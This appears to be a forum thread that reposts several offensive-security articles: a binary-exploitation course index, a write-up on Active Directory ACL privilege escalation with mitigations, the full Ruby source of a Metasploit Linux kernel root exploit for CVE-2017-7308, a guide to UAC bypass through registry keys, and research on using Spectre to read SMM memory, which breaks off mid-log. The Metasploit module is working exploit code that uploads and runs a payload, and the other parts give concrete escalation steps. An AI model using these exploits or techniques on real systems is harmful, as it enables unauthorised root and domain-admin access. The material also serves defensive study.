Return to Libc attacks. Spawning shell in non executable stack Stack organization in case ret2libc attack. Lecture 4. This folder contains the set of questions to exploit binaries on the concept that we have learned so far. Lecture 5. What is format string Vulnerability? Seeing the content of stack. Writing onto the stack. Writing to arbitrary memory location. Lecture 6. GOT Overriding GOT entry. Spawning shell with format string vuln. Sursa: https://github.com/r0hi7/BinExp
-
- 1
-
-
Escalating privileges with ACLs in Active Directory Posted on April 26, 2018 by rindertkramer 6 Votes Researched and written by Rindert Kramer and Dirk-jan Mollema Introduction During internal penetration tests, it happens quite often that we manage to obtain Domain Administrative access within a few hours. Contributing to this are insufficient system hardening and the use of insecure Active Directory defaults. In such scenarios publicly available tools help in finding and exploiting these issues and often result in obtaining domain administrative privileges. This blogpost describes a scenario where our standard attack methods did not work and where we had to dig deeper in order to gain high privileges in the domain. We describe more advanced privilege escalation attacks using Access Control Lists and introduce a new tool called Invoke-Aclpwn and an extension to ntlmrelayx that automate the steps for this advanced attack. AD, ACLs and ACEs As organizations become more mature and aware when it comes to cyber security, we have to dig deeper in order to escalate our privileges within an Active Directory (AD) domain. Enumeration is key in these kind of scenarios. Often overlooked are the Access Control Lists (ACL) in AD.An ACL is a set of rules that define which entities have which permissions on a specific AD object. These objects can be user accounts, groups, computer accounts, the domain itself and many more. The ACL can be configured on an individual object such as a user account, but can also be configured on an Organizational Unit (OU), which is like a directory within AD. The main advantage of configuring the ACL on an OU is that when configured correctly, all descendent objects will inherit the ACL.The ACL of the Organizational Unit (OU) wherein the objects reside, contains an Access Control Entry (ACE) that defines the identity and the corresponding permissions that are applied on the OU and/or descending objects.The identity that is specified in the ACE does not necessarily need to be the user account itself; it is a common practice to apply permissions to AD security groups. By adding the user account as a member of this security group, the user account is granted the permissions that are configured within the ACE, because the user is a member of that security group. Group memberships within AD are applied recursively. Let’s say that we have three groups: Group_A Group_B Group_C Group_C is a member of Group_B which itself is a member of Group_A. When we add Bob as a member of Group_C, Bob will not only be a member of Group_C, but also be an indirect member of Group_B and Group_A. That means that when access to an object or a resource is granted to Group_A, Bob will also have access to that specific resource. This resource can be an NTFS file share, printer or an AD object, such as a user, computer, group or even the domain itself. Providing permissions and access rights with AD security groups is a great way for maintaining and managing (access to) IT infrastructure. However, it may also lead to potential security risks when groups are nested too often. As written, a user account will inherit all permissions to resources that are set on the group of which the user is a (direct or indirect) member. If Group_A is granted access to modify the domain object in AD, it is quite trivial to discover that Bob inherited these permissions. However, if the user is a direct member of only 1 group and that group is indirectly a member of 50 other groups, it will take much more effort to discover these inherited permissions. Escalating privileges in AD with Exchange During a recent penetration test, we managed to obtain a user account that was a member of the Organization Management security group. This group is created when Exchange is installed and provided access to Exchange-related activities. Besides access to these Exchange settings, it also allows its members to modify the group membership of other Exchange security groups, such as the Exchange Trusted Subsystem security group. This group is a member of the Exchange Windows Permissions security group. By default, the Exchange Windows Permissions security group has writeDACL permission on the domain object of the domain where Exchange was installed. 1 The writeDACL permissions allows an identity to modify permissions on the designated object (in other words: modify the ACL) which means that by being a member of the Organization Management group we were able to escalate out privileges to that of a domain administrator. To exploit this, we added our user account that we obtained earlier to the Exchange Trusted Subsystem group. We logged on again (because security group memberships are only loaded during login) and now we were a member of the Exchange Trusted Subsystem group and the Exchange Windows Permission group, which allowed us to modify the ACL of the domain. If you have access to modify the ACL of an AD object, you can assign permissions to an identity that allows them to write to a certain attribute, such as the attribute that contains the telephone number. Besides assigning read/write permissions to these kinds of attributes, it is also possible to assign permissions to extended rights. These rights are predefined tasks, such as the right of changing a password, sending email to a mailbox and many more2. It is also possible to add any given account as a replication partner of the domain by applying the following extended rights: Replicating Directory Changes Replicating Directory Changes All When we set these permissions for our user account, we were able to request the password hash of any user in the domain, including that of the krbtgt account of the domain. More information about this privilege escalation technique can be found on the following GitHub page: https://github.com/gdedrouas/Exchange-AD-Privesc Obtaining a user account that is a member of the Organization Management group is not something that happens quite often. Nonetheless, this technique can be used on a broader basis. It is possible that the Organization Management group is managed by another group. That group may be managed by another group, et cetera. That means that it is possible that there is a chain throughout the domain that is difficult to discover but, if correlated correctly, might lead to full compromise of the domain. To help exploit this chain of security risks, Fox-IT wrote two tools. The first tool is written in PowerShell and can be run within or outside an AD environment. The second tool is an extension to the ntlmrelayx tool. This extension allows the attacker to relay identities (user accounts and computer accounts) to Active Directory and modify the ACL of the domain object. Invoke-ACLPwn Invoke-ACLPwn is a Powershell script that is designed to run with integrated credentials as well as with specified credentials. The tool works by creating an export with SharpHound3 of all ACLs in the domain as well as the group membership of the user account that the tool is running under. If the user does not already have writeDACL permissions on the domain object, the tool will enumerate all ACEs of the ACL of the domain. Every identity in an ACE has an ACL of its own, which is added to the enumeration queue. If the identity is a group and the group has members, every group member is added to the enumeration queue as well. As you can imagine, this takes some time to enumerate but could end up with a chain to obtain writeDACL permission on the domain object. When the chain has been calculated, the script will then start to exploit every step in the chain: The user is added to the necessary groups Two ACEs are added to the ACL of the domain object: Replicating Directory Changes Replicating Directory Changes All Optionally, Mimkatz’ DCSync feature is invoked and the hash of the given user account is requested. By default the krbtgt account will be used. After the exploitation is done, the script will remove the group memberships that were added during exploitation as well as the ACEs in the ACL of the domain object. To test the script, we created 26 security groups. Every group was member of another group (testgroup_a was a member of testgroup_b, which itself was a member of testgroup_c, et cetera, up until testgroup_z.) The security group testgroup_z had the permission to modify the membership of the Organization Management security group. As written earlier, this group had the permission to modify the group membership of the Exchange Trusted Subsystem security group. Being a member of this group will give you the permission to modify the ACL of the domain object in Active Directory. We now had a chain of 31 links: Indirect member of 26 security groups Permission to modify the group membership of the Organization Management security group Membership of the Organization Management Permission to modify the group membership of the Exchange Trusted Subsystem security group Membership of the Exchange Trusted Subsystem and the Exchange Windows Permission security groups The result of the tool can be seen in the following screenshot: Please note that in this example we used the ACL configuration that was configured during the installation of Exchange. However, the tool does not rely on Exchange or any other product to find and exploit a chain. Currently, only the writeDACL permission on the domain object is enumerated and exploited. There are other types of access rights such as owner, writeOwner, genericAll, et cetera, that can be exploited on other object as well. These access rights are explained in depth in this whitepaper by the BloodHound team. Updates to the tool that also exploit these privileges will be developed and released in the future. The Invoke-ACLPwn tool can be downloaded from our GitHub here: https://github.com/fox-it/Invoke-ACLPwn NTLMRelayx Last year we wrote about new additions to ntlmrelayx allowing relaying to LDAP, which allows for domain enumeration and escalation to Domain Admin by adding a new user to the Directory. Previously, the LDAP attack in ntlmrelayx would check if the relayed account was a member of the Domain Admins or Enterprise Admins group, and escalate privileges if this was the case. It did this by adding a new user to the Domain and adding this user to the Domain Admins group. While this works, this does not take into account any special privileges that a relayed user might have. With the research presented in this post, we introduce a new attack method in ntlmrelayx. This attack involves first requesting the ACLs of important Domain objects, which are then parsed from their binary format into structures the tool can understand, after which the permissions of the relayed account are enumerated. This takes into account all the groups the relayed account is a member of (including recursive group memberships). Once the privileges are enumerated, ntlmrelayx will check if the user has high enough privileges to allow for a privilege escalation of either a new or an existing user. For this privilege escalation there are two different attacks. The first attack is called the ACL attack in which the ACL on the Domain object is modified and a user under the attackers control is granted Replication-Get-Changes-All privileges on the domain, which allows for using DCSync as desribed in the previous sections. If modifying the domain ACL is not possible, the access to add members to several high privilege groups in the domain is considered for a Group attack: Enterprise Admins Domain Admins Backup Operators (who can back up critical files on the Domain Controller) Account Operators (who have control over almost all groups in the domain) If an existing user was specified using the --escalate-user flag, this user will be given the Replication privileges if an ACL attack can be performed, and added to a high-privilege group if a Group attack is used. If no existing user is specified, the options to create new users are considered. This can either be in the Users container (the default place for user accounts), or in an OrganizationalUnit for which control was delegated to for example IT department members. One may have noticed that we mentioned relayed accounts here instead of relayed users. This is because the attack also works against computer accounts that have high privileges. An example for such an account is the computer account of an Exchange server, which is a member of the Exchange Windows Permissions group in the default configuration. If an attacker is in a position to convince the Exchange server to authenticate to the attacker’s machine, for example by using mitm6 for a network level attack, privileges can be instantly escalated to Domain Admin. The NTDS.dit hashes can now be dumped by using impacket’s secretsdump.py or with Mimikatz: Similarly if an attacker has Administrative privileges on the Exchange Server, it is possible to escalate privilege in the domain without the need to dump any passwords or machine account hashes from the system. Connecting to the attacker from the NT Authority\SYSTEM perspective and authenticating with NTLM is sufficient to authenticate to LDAP. The screenshot below shows the PowerShell function Invoke-Webrequest being called with psexec.py, which will run from a SYSTEM perspective. The flag -UseDefaultCredentials will enable automatic authentication with NTLM. The 404 error here is expected as ntlmrelayx.py serves a 404 page if the relaying attack is complete It should be noted that relaying attacks against LDAP are possible in the default configuration of Active Directory, since LDAP signing, which partially mitigates this attack, is disabled by default. Even if LDAP signing is enabled, it is still possible to relay to LDAPS (LDAP over SSL/TLS) since LDAPS is considered a signed channel. The only mitigation for this is enabling channel binding for LDAP in the registry. To get the new features in ntlmrelayx, simply update to the latest version of impacket from GitHub: https://github.com/CoreSecurity/impacket Recommendation As for mitigation, Fox-IT has a few recommendations. Remove dangerous ACLs Check for dangerous ACLs with tools such as Bloodhound. 3 Bloodhound can make an export of all ACLs in the domain which helps identifying dangerous ACLs. Remove writeDACL permission for Exchange Enterprise Servers Remove the writeDACL permission for Exchange Enterprise Servers. For more information see the following technet article: https://technet.microsoft.com/en-us/library/ee428169(v=exchg.80).aspx Monitor security groups Monitor (the membership of) security groups that can have a high impact on the domain, such as the Exchange Trusted Subsystem and the Exchange Windows Permissions. Audit and monitor changes to the ACL. Audit changes to the ACL of the domain. If not done already, it may be necessary to modify the domain controller policy. More information about this can be found on the following TechNet article: https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/ When the ACL of the domain object is modified, an event will be created with event ID 5136. The Windows event log can be queried with PowerShell, so here is a one-liner to get all events from the Security event log with ID 5136: 1 Get-WinEvent -FilterHashtable @{logname='security'; id=5136} This event contains the account name and the ACL in a Security Descriptor Definition Language (SDDL) format. Since this is unreadable for humans, there is a PowerShell cmdlet in Windows 10, ConvertFrom-SDDL4, which converts the SDDL string into a more readable ACL object. If the server runs Windows Server 2016 as operating system, it is also possible to see the original and modified descriptors. For more information: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4715 With this information you should be able to start an investigation to discover what was modified, when that happened and the reason behind that. References [1] https://technet.microsoft.com/en-us/library/ee681663.aspx [2] https://technet.microsoft.com/en-us/library/ff405676.aspx [3] https://github.com/BloodHoundAD/SharpHound [4] https://docs.microsoft.com/en-us/powershell/module/Microsoft.powershell.utility/convertfrom-sddlstring Sursa: https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
-
- 1
-
-
AF_PACKET packet_set_ring Privilege Escalation Posted May 17, 2018 Authored by Brendan Coles, Andrey Konovalov | Site metasploit.com This Metasploit module exploits a heap-out-of-bounds write in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2017-7308). The bug was initially introduced in 2011 and patched in version 4.10.6, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46, including Linux distros based on Ubuntu Xenial, such as Linux Mint. The target system must have unprivileged user namespaces enabled and two or more CPU cores. Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation may crash the kernel. This Metasploit module has been tested successfully on Linux Mint 18 (x86_64) with kernel versions: 4.8.0-34-generic; 4.8.0-36-generic; 4.8.0-39-generic; 4.8.0-41-generic; 4.8.0-42-generic; 4.8.0-44-generic; 4.8.0-45-generic. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'AF_PACKET packet_set_ring Privilege Escalation', 'Description' => %q{ This module exploits a heap-out-of-bounds write in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2017-7308). The bug was initially introduced in 2011 and patched in version 4.10.6, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46, including Linux distros based on Ubuntu Xenial, such as Linux Mint. The target system must have unprivileged user namespaces enabled and two or more CPU cores. Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on Linux Mint 18 (x86_64) with kernel versions: 4.8.0-34-generic; 4.8.0-36-generic; 4.8.0-39-generic; 4.8.0-41-generic; 4.8.0-42-generic; 4.8.0-44-generic; 4.8.0-45-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrey Konovalov', # Discovery and C exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Mar 29 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'EDB', '41994' ], [ 'CVE', '2017-7308' ], [ 'BID', '97234' ], [ 'URL', 'https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html' ], [ 'URL', 'https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7308.html', ], [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/cve-2017-7308/CVE-2017-7308/poc.c' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-7308', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless version =~ /^4\.8\.0-(34|36|39|41|42|44|45)-generic/ vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" cores = get_cpu_info[:cores].to_i min_required_cores = 2 unless cores >= min_required_cores vprint_error "System has less than #{min_required_cores} CPU cores" return CheckCode::Safe end vprint_good "System has #{cores} CPU cores" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' if kptr_restrict? && dmesg_restrict? vprint_error 'Both kernel.kptr_restrict and kernel.dmesg_destrict are enabled. KASLR bypass will fail.' return CheckCode::Safe end CheckCode::Appears end def exploit if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('poc.c') rm_f "#{executable_path}.c" else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec "#{executable_path} #{payload_path}" output.each_line { |line| vprint_status line.chomp } print_status 'Deleting executable...' rm_f executable_path Rex.sleep 5 print_status 'Deleting payload...' rm_f payload_path end end Sursa: https://packetstormsecurity.com/files/147685
-
- 1
-
-
Bypassing UAC using Registry Keys Category: Blog Welcome to the first of a new series of blogs we’ll be publishing with information about the scenarios we write for our platform. Our intention is to provide information about security threats with enough technical data to satisfy those of you that are curious and want to understand the inner workings of the threat techniques we implement. This series of posts are not meant to be the latest and greatest of our creations, just some details about popular scenarios in our library that we think might be of some interest for the people out there. Some of these will be kept high level and in others, we will go into greater technical details. We’ll always try to be as clear as possible on how we implement our philosophy "Think Bad, Do Good" by creating techniques that mimic the same TTPs followed by threat actors while keeping things safe for our customers Without more delay, welcome to the first post in this series. User Account Control (UAC) is a Windows feature that helps to prevent unauthorized changes to the system. This blog will show how a threat actor can silently execute privileged actions that modify the system while bypassing this security control. UAC has been present since Windows Vista and Windows Server 2008 with the goal to make the user aware when relevant system changes are triggered. It works by showing a popup window which asks for user interaction in order to accept some requested system changes, specifying which program name and publisher that are trying to carry out these changes. Also, the rest of the screen is usually dimmed to make the users more aware that this popup is really important, so they should pay attention. This feature is very helpful to users so they can discern the relevance of the system changes that they perform, but also can be helpful in detecting when another application or malware is trying to modify the system. Bypassing the UAC is a well known attack technique, which is categorized as Defense Evasion and Privilege Escalation techniques on the MITRE ATT&CK matrix. Technical details Since UAC is a security measure that can prevent malware, unwanted users or applications from changing relevant system configurations, threat actors are always looking for new ways to bypass UAC with the goal of performing privileged system changes without alerting the legitimate user. Different methods to bypass UAC exist, but this blog post is focused on registry modification techniques. The chosen technique relies on modifying the registry key for a specific system utility application, which privileges are auto-elevated by design, and the ability to execute other applications and give them privileges. Three parameters are necessary to execute this technique. Two of them are directly related to the bypass technique, and the last one is the target command to execute with privileges while bypassing UAC: Privileged application that will trigger the target application Registry key read by this privileged application which content should be a path of a binary that will be tried to execute Program path of the binary that will be silently executed by using the UAC bypass technique For example, the UAC Bypass technique that we will explain for Windows 7 takes advantage of the eventvwr.exe application. This privileged application works like a shortcut to the Microsoft Management Console (MMC). When eventvwr.exe starts, it will check if a specific binary is used to provide the functionality of the MMC snap-in for event viewer. To do that it looks for the specific binary location at the registry key “HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command”. Then it executes the binary at this path if it exists. Otherwise the default MMC snap-in for the windows event viewer will be loaded. The content of this registry key is the one that can be used to execute binaries while bypassing UAC. Due to Windows updates and security fixes, the privileged application and the registry key can be different for distinct Windows versions. Since there is not a bypass technique that shares the same privileged application and registry key at the time of this writing, we will show parameters that are valid for Windows 7. Other parameters are valid for Windows 10. Now, let’s demonstrate how these techniques work for both, one at a time. The Windows 7 technique is based on the following parameters: Auto-elevated privileged application: eventvwr.exe Registry key with path to execute: HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command To replicate this technique, the first step is to modify the registry key with the target application to execute. In this case we have chosen “C:\Windows\System32\cmd.exe”: Now that the registry key has been set, executing the eventvwr.exe process will execute the content of this registry key instead of loading itself: Finally it is possible to check that the new spawned process is running with High Integrity, which allows the new process to access to several privileged and protected system resources: The Windows 10 technique has the same parameter types, but with different values: Auto-elevated privileged application: sdclt.exe Registry key with path to execute: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe The first step is to modify the registry key as in the previous technique. We have chosen “C:\Windows\System32\cmd.exe” as the target application again: Once the registry key has been set, the next step is to execute “sdclt.exe”. This process will start the command line application instead of loading itself, which is the same behaviour seen in the Windows 7 technique: Finally we can check that the integrity level of the new spawned process is High, just as expected: Our research team is working on writing scenarios that are capable of testing if there are security controls preventing this kind of attack, in addition to many other different attacks used by threat actors. This is achieved by using AttackIQ scenarios which can be very specific, such as this one, or they can be as generic as needed to modify user provided registry keys. With these generic scenarios everybody is able to test any kind of attack based on registry modifications.There are also many other generic scenarios such as executing system commands, modifying files, exfiltrating files, discovering network assets, using different persistence techniques, etc. Mitigations Since both techniques rely on the same principle, the mitigation for them is also the same. It is as simple as setting the UAC level to Always Notify. A different protection approach can be used for those environments where it is not desirable to set the UAC level to Always Notify (however, having a different level is not recommended from the system’s security perspective). This approach consists in monitor and prevent registry changes on the following registry keys: HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe Along with these mitigations, it is also recommended to use unprivileged accounts whenever it is possible. Sursa: https://attackiq.com/blog/2018/05/14/bypassing-uac-using-registry-keys/
-
- 1
-
-
System Management Mode Speculative Execution Attacks EclypsiumMay 17, 2018Research Post navigation Previous We have discovered a new application of speculative execution attacks, bypassing hardware-based memory protections. Vulnerabilities affecting speculative execution of modern processor architectures were first discovered in 2017 by Jann Horn of Google Project Zero and other security researchers. This class of vulnerabilities allows local unprivileged attackers to expose the contents of protected memory by exploiting the microarchitectural capabilities of modern out-of-order CPUs such as caching, instruction pipeline or speculative execution. We expanded on this method to gain access to the highly privileged System Management Mode (SMM) memory. Impact Because SMM generally has privileged access to physical memory, including memory isolated from operating systems, our research demonstrates that Spectre-based attacks can reveal other secrets in memory (eg. hypervisor, operating system, or application). Thus far, the Spectre and Meltdown vulnerabilities were demonstrated to affect software, such as operating systems, hypervisors or even applications within protected SGX enclaves. However, the effect on firmware has not previously been shown. While there are many different kinds of firmware present in every system, we wanted to investigate host processor firmware first. The processor executes the main system firmware, often referred to as BIOS or UEFI, when the system boots. Much of this firmware only runs at boot time; however, there is also a portion that runs in parallel with the OS in a special x86 mode known as System Management Mode (SMM). This runtime part of firmware (often referred to as SMI Handler) has long been of interest to security researchers and a target for advanced attackers, since this code has high privileges and operates outside the view of other software including the OS and any security applications. Intel CPUs use a memory protection mechanism known as a range register to protect sensitive contents of memory regions such as SMM memory, including against cache poisoning attacks. Specifically, SMM memory on Intel CPUs is protected by a special type of range registers known as System Management Range Register (SMRR). This blog post describes a modification of speculative execution attacks that can expose the contents of memory protected with this hardware-based range register protection mechanism. The proof-of-concept exploit demonstrated here leverages a modification of Spectre variant 1 (bounds check bypass) to bypass SMRR protection of SMM memory. While we used Spectre variant 1 in our research, it is likely that a similar modification of Spectre variant 2 would be similarly effective. These enhanced Spectre attacks allow an unprivileged attacker to read the contents of memory, including memory that should be protected by the range registers, such as SMM memory. This can expose SMM code and data that was intended to be confidential, revealing other SMM vulnerabilities as well as secrets stored in SMM. Additionally, since we demonstrate that the speculative memory access occurs from the context of SMM, this could be used to reveal other secrets in memory as well. Bounds Check Bypass in SMM Overview Many people have now heard of the Meltdown and Spectre attacks leveraging speculative execution side channels. In this research, we will focus on Spectre, which has been described in two variants: Bounds Check Bypass, a.k.a. Spectre variant 1 (CVE-2017-5753) Branch Target Injection, a.k.a. Spectre variant 2 (CVE-2017-5715) Spectre variant 1 (CVE-2017-5753) allows an unprivileged attacker to exploit privileged code, which correctly checks the size of a buffer located in privileged memory without any software vulnerability. Normally, correctly implemented bounds checking would prevent an attacker from gaining out-of-bounds access to the privileged buffer. However, by using Spectre variant 1, instructions causing an out-of-bounds access would still be executed speculatively by the CPU if they reside on the predicted path behind the indirect conditional branch instruction. When the CPU rolls back changes caused by the speculatively executed “out of bounds access” instructions after the target address of the indirect branch has been resolved from memory, the attacker can observe side effects in CPU caches, which allows the attacker to recover data read from privileged memory. First experiment In our experiments we used a PoC of the Spectre1 exploit, which is publicly available from GitHub. First, we ported this PoC to a kernel driver and confirmed that out-of-bounds access over speculative execution was working from the kernel privilege level. We were then able to run our experiment from the kernel privilege level against protected memory. The kernel-level PoC exploit provides access to different hardware interfaces, which gives attackers better control over the system hardware and access to different hardware interfaces such as physical memory, IO, PCI, and MMIO interfaces. It also provides access to interfaces at a higher privilege level, such as software SMI. Next, we integrated the PoC exploit into CHIPSEC in order to quickly expand our tests. In our first experiment, we tried to read protected SMRAM memory. We mapped the physical addresses of SMRAM into the virtual address space and then used the SMRAM addresses as the target of our exploit. This experimental attack scenario does not work against SMRAM, because the victim_function function is running at the kernel privilege level, which doesn’t have access to SMRAM, since it protected by SMRRs. In this experiment, a read memory transaction within the speculative execution flow doesn’t work. The hardware protection drops this type of read, and the contents of SMM are not exposed to a kernel-privileged attacker. Example output: [506147.777314] SPECTRE1 [506147.777319] SMRR BASE: 7e800000 [506147.777335] mapped va: ffffb6db80343000 [506147.777338] reading content directly: [506147.777338] 0xFFFFFFFF ... [506147.777356] 0xFFFFFFFF [506147.777884] Reading 40 bytes by Spectre1: [506147.777885] Reading at malicious_x = ffffb6dbbfcd1fa0... [506147.778132] Success: [506147.778133] 0x00=’?’ score=3 [506147.778135] Reading at malicious_x = ffffb6dbbfcd1fa1... [506147.778234] Success: [506147.778235] 0x00=’?’ score=3 [506147.778237] Reading at malicious_x = ffffb6dbbfcd1fa2... [506147.778335] Success: [506147.778336] 0x00=’?’ score=3 … As we can see above, the contents of SMRAM are protected against this attack scenario. Next, we enhanced the attack scenario. We tried to make SMRAM cacheable (set as Write-Back) over MTRRs and also set MSR_IA32_MTRR_DEF_TYPE to Write-Back as well. This enhancement didn’t help, and SMRAM was still not accessible, indicating that SMRR has a higher priority than MTRRs. But this experiment also gave us an idea about how Spectre1 works for different memory transactions. We learned: Spectre1 works for uncacheable memory (checked over memory set to uncacheable over MTRRs). Spectre1 doesn’t work for MMIO. We assumed this is because MMIO access is much slower than memory access. Spectre1 from kernel mode, with a speculative execution flow running in kernel mode, doesn’t work for SMRAM. SMRR protection is preventing speculative memory access. So, we needed to run a speculative flow within SMRAM, and this was our next step. By running this experiment, we would know whether range registers prevent speculative execution in a scenario when the attacker controls arguments passed to a victim_function in SMM from a Spectre1 exploit running in the kernel. Linux eBPF JIT it is definitely a practical attack scenario with these conditions. SMM doesn’t have any JIT in SMRAM, so attackers need to find vulnerable code within SMI handlers. Systems have firmware with many SMI handlers in SMRAM that are very likely to have vulnerable code. Applying Spectre Variant 1 to SMM We modified the attack scenario and developed a proof-of-concept that exploits the Bounds Check Bypass vulnerability and exposes arbitrary contents from SMRAM, bypassing SMRR protection. The theory behind this modified attack against SMM is roughly as follows: An OS-level exploit invokes an SMI, which will cause the CPU to transition to SMM and execute SMI handler firmware. The SMI handler accesses elements of an array residing in SMRAM (not accessible to OS kernel or user-mode applications). Before accessing, the SMI handler validates the index of an element to be accessed against the length of the array, because the index is untrusted, supplied by less privileged mode (e.g., the OS). The check translates into a conditional branch executed by the CPU. The CPU starts resolving the target address of the indirect branch. While the CPU is waiting for the branch target to be resolved, it uses branch prediction mechanisms to “predict” the target address while it’s still not available in order to execute the next SMI handler instructions (which are executed “speculatively”). The SMM instructions executed speculatively may load the value of an “element” outside of bounds of the array using the untrusted index value. This points to some location inside SMRAM, which the attacker wants to expose. The data is then loaded from memory and cached by the CPU in the data cache at locations that are outside of SMRAM (in OS accessible memory) but depend on this [secret] SMRAM value. The OS-level exploit can then measure the access time to these different non-SMRAM locations using one of the cache timing side-channel techniques (e.g., FLUSH+RELOAD). The time to access cache-lines in the data cache loaded based on secret SMRAM value will be smaller. This discloses information about the secret value stored in SMRAM to the less privileged OS mode regardless of SMRR protections. Bypassing System Management Range Registers Based on the attack scenario above, we ran the following experiment: We found a conditional branch validating the index into an array in one of the SMI handlers. This index should be the one controlled by the OS-level attacker. For the sake of a proof-of-concept, it is possible to inject the “vulnerable” function, as in the following example victim_function. The goal of this experiment was to demonstrate the impact of original Spectre attacks on memory protections like range registers. We triggered the vulnerable code in the SMI handler (by calling SW SMI or other SMM interfaces) with out-of-bounds array access, which caused speculative execution and the loading of data from an arbitrary SMRAM location to the data cache. We recovered the SMRAM data by measuring access time to different non-SMRAM locations in the data cache using one of the cache timing side-channel techniques. As a result of running the above experiment, we’ve successfully recovered data that was stored in SMRAM and protected by SMRR. This proof-of-concept exploit is a modified Spectre variant 1 PoC exploit running with kernel-mode privileges. Example of vulnerable SMI code: struct arrays { UINT64 array1_size; UINT8 unused1[64]; UINT8 array1[160]; UINT8 unused2[64]; UINT8 array2[256 * 512]; }; CHAR8 * secret = "SMM. The Magic Words are ..."; UINT8 temp = 0; /* Used so compiler won’t optimize out victim_function() */ __declspec(noinline) VOID victim_function(UINT64 x, struct arrays *arrays_ptr) { if (x array1_size) { temp &= arrays_ptr->array2[arrays_ptr->array1[x] * 512]; } } Example of the output from the kernel driver for the recovery of 6 bytes of a secret string: [63186.685023] [SPECTRE1] Arg: 7e8264c0 [63186.685034] [SPECTRE1] allocate_arrays() pa_array1: 2cec0048 [63186.685037] [SPECTRE1] allocate_arrays() va_array1: ffff8e086cec0048 [63186.685046] [SPECTRE1] address of va_addr: ffff8e086cec0000 [63186.685049] [SPECTRE1] phys address of arrays: 2cec0000 [63186.685050] [SPECTRE1] address of secret: 7e8264c0 [63186.685051] [SPECTRE1] value of malicious_x: 51966478 [63186.685109] Reading 6 bytes from SMM: [63186.685110] Reading at malicious_x = 0000000051966478... [63187.533644] Success: [63187.533646] 0x00=’?’ score=1 [63187.533647] Reading at malicious_x = 0000000051966479... [63187.886660] Success: [63187.886661] 0x00=’?’ score=1 [63187.886662] Reading at malicious_x = 000000005196647a... [63189.017075] Success: [63189.017077] 0x00=’?’ score=12 [63189.017077] (second best: 0x4D score=5) [63189.017078] Reading at malicious_x = 000000005196647b... [63192.551132] Unclear: [63192.551133] 0x00=’?’ score=44 [63192.551133] (second best: 0x2E score=27) [63192.551134] Reading at malicious_x = 